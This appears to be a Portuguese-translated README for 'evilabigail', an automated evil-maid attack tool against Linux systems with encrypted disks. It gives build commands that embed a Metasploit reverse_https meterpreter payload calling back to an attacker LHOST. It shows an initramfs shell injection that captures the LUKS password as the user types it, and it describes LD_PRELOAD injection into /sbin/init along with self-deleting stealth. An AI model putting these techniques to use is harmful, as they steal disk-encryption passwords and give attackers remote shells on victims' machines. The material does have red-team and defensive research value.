strozfriedberg/evilabigailAtaque automatizado de empregada malvada no Linux
.so no /sbin/init na inicialização, abrindo um shellLD_PRELOAD do .so no DefaultEnviroment, carregado globalmente, abrindo um shell.python/meterpreter/reverse_https para LHOST em tempo de compilaçãogetenv PASSWORD)Consulte o Makefile para mais informações/configuração, LHOST é necessário no ambiente para construir o .so pois o msfvenom é canalizado em tempo de compilação. Também é necessário ter libcrypsetup-dev (ou equivalente) instalado na máquina de compilação.
Instruções genéricas (constrói imagem iso no diretório atual):
LHOST=192.168.56.101 make rev.so iso
As seguintes opções foram anexadas à inicialização do kernel:
mc superuser nodhcp quiet loglevel=0
Além disso, o valor prompt foi definido como 0 para permitir execução totalmente automatizada.
Tempo aproximado do boot malicioso -> backdoor: ~2 minutos Tempo aproximado do boot legítimo -> shell ~90 segundos (configurável, queremos a rede ativa antes de nós)
core.d é um core.gz descompactado do TinyCore com os pacotes abaixo mesclados.
Core-current é um Core-current.iso descompactado
Os seguintes pacotes foram instalados dentro do tinycore (python, suporte a sistema de arquivos):
No mínimo, a assinatura é a seguinte:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS é um nome único para este SO.IDENTIFIER é um comando shell que tem código de saída 0 quando executado contra o initrd correto, e !0 para qualquer outra coisa.ROOT é o caminho completo ou variável onde a nova raiz é montada após a descriptografia.FILENAME é o caminho completo para colocar nosso binário no sistema de arquivos raiz. Cuidado para saber o que initrd monta e o que é montado posteriormente.INITRDFILENAME é o caminho completo do binário dentro do initrd. Isso é copiado dentro do Makefile (cp ... core.d/...), então deve corresponder a isso.Depois disso, cada tripla de *FILE, *PRE, *POST é executada contra o initrd como um re.sub (ex: re.sub(*PRE, *POST, *FILE)). O conteúdo de *PRE e *POST é expandido usando .format(**config[detectedOS]), então sinta-se à vontade para expandir sua assinatura para injetar itens.
Não há limite para o número de substituições que você pode executar.
\\1 será expandido para o conteúdo completo da correspondência (*PRE) quando usado dentro da substituição (*POST).| $O payload metasploit python/meterpreter/reverse_https foi escolhido porque é mais independente de plataforma do que os payloads linux/*/meterpreter/reverse_tcp. python parece estar instalado por padrão em todos os sistemas testados.
Por padrão, o payload é gerado em tempo de compilação e canalizado para o arquivo .c como um #define. Isso torna as iterações mais fáceis, mas não deve ser difícil salvar o payload e inseri-lo manualmente.
Sistemas baseados em Debian (Debian, Ubuntu etc) usam uma imagem cpio gzipada padrão como initramfs. Isso contém o script /init padrão que executa a preparação do sistema para a inicialização completa. Isso inclui pedir a senha ao usuário e montar o sistema de arquivos raiz criptografado.
Para colocar nosso .so, esperamos até que o sistema de arquivos raiz tenha sido montado (então depois que a senha foi solicitada ao usuário) e copiamos o .so para o sistema de arquivos /dev. O sistema de arquivos /dev foi escolhido porque é acessível logo antes da troca do rootfs e é uma montagem baseada em RAM. Isso significa que nosso .so não tocará no disco.
Para realmente usar o .so colocado, usamos a variável de ambiente LD_PRELOAD na chamada switch_root. Essa variável é passada para todos os executáveis filhos e, como tal, o script final /sbin/init terá o módulo carregado. Para manter isso relativamente silencioso, verificamos se estamos carregados em /sbin/init e, se sim, desativamos a variável LD_PRELOAD e excluímos o .so. Essa funcionalidade pode ser facilmente desativada se quisermos enganchar aplicações específicas.
Para forçar a execução do .so, por padrão após o carregamento, usamos a flag gcc -Wl,-init,shell, onde shell é nossa função principal. Isso especifica qual função queremos chamar na inicialização do .so. Pense nisso como um análogo ao DllMain do Windows.
A parte do script init responsável por pedir a senha ao usuário e montar o sistema de arquivos raiz é a seguinte:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
A parte importante para nós é onde a saída de $cryptkeyscript é canalizada para $cryptcreate. $cryptkeyscript é o solicitador de senha, e $cryptcreate é o montador de disco. Esse pipe torna muito fácil para nós atacarmos. Inserimos o seguinte código onde o pipe está para escrever a senha no final do nosso .so:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Isso lerá a senha na variável $P, e tanto a escreverá no final do .so quanto a ecoará novamente. Esse código será transparente para os propósitos de $cryptkeyscript e $cryptcreate, mas terá o efeito colateral de exfiltrar a senha. Usamos \\\\\\\\x00 para prefixar um byte nulo (considerando muitos níveis de escape de shell) à senha. Isso torna muito mais fácil para nosso .so ler a senha de volta, pois ele só precisa ler para trás a partir de si mesmo até ver um byte nulo.
Para fornecer essa senha ao atacante, ela é usada como uma variável de ambiente na invocação do payload. Isso significa que o atacante pode simplesmente usar o comando meterpreter getenv PASSWORD para recuperar a senha.
Devido à forma como o .so está sendo carregado, haverá referências a ele tanto em /proc/1/maps quanto em /proc/1/environ.
O arquivo maps é uma lista de módulos carregados. O trecho a seguir mostra o conteúdo deste arquivo. Observe o (deleted), pode potencialmente levantar suspeitas. No entanto, ao contrário de binários normais, não é possível acessar o .so sem extraí-lo diretamente da memória após ter sido excluído.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)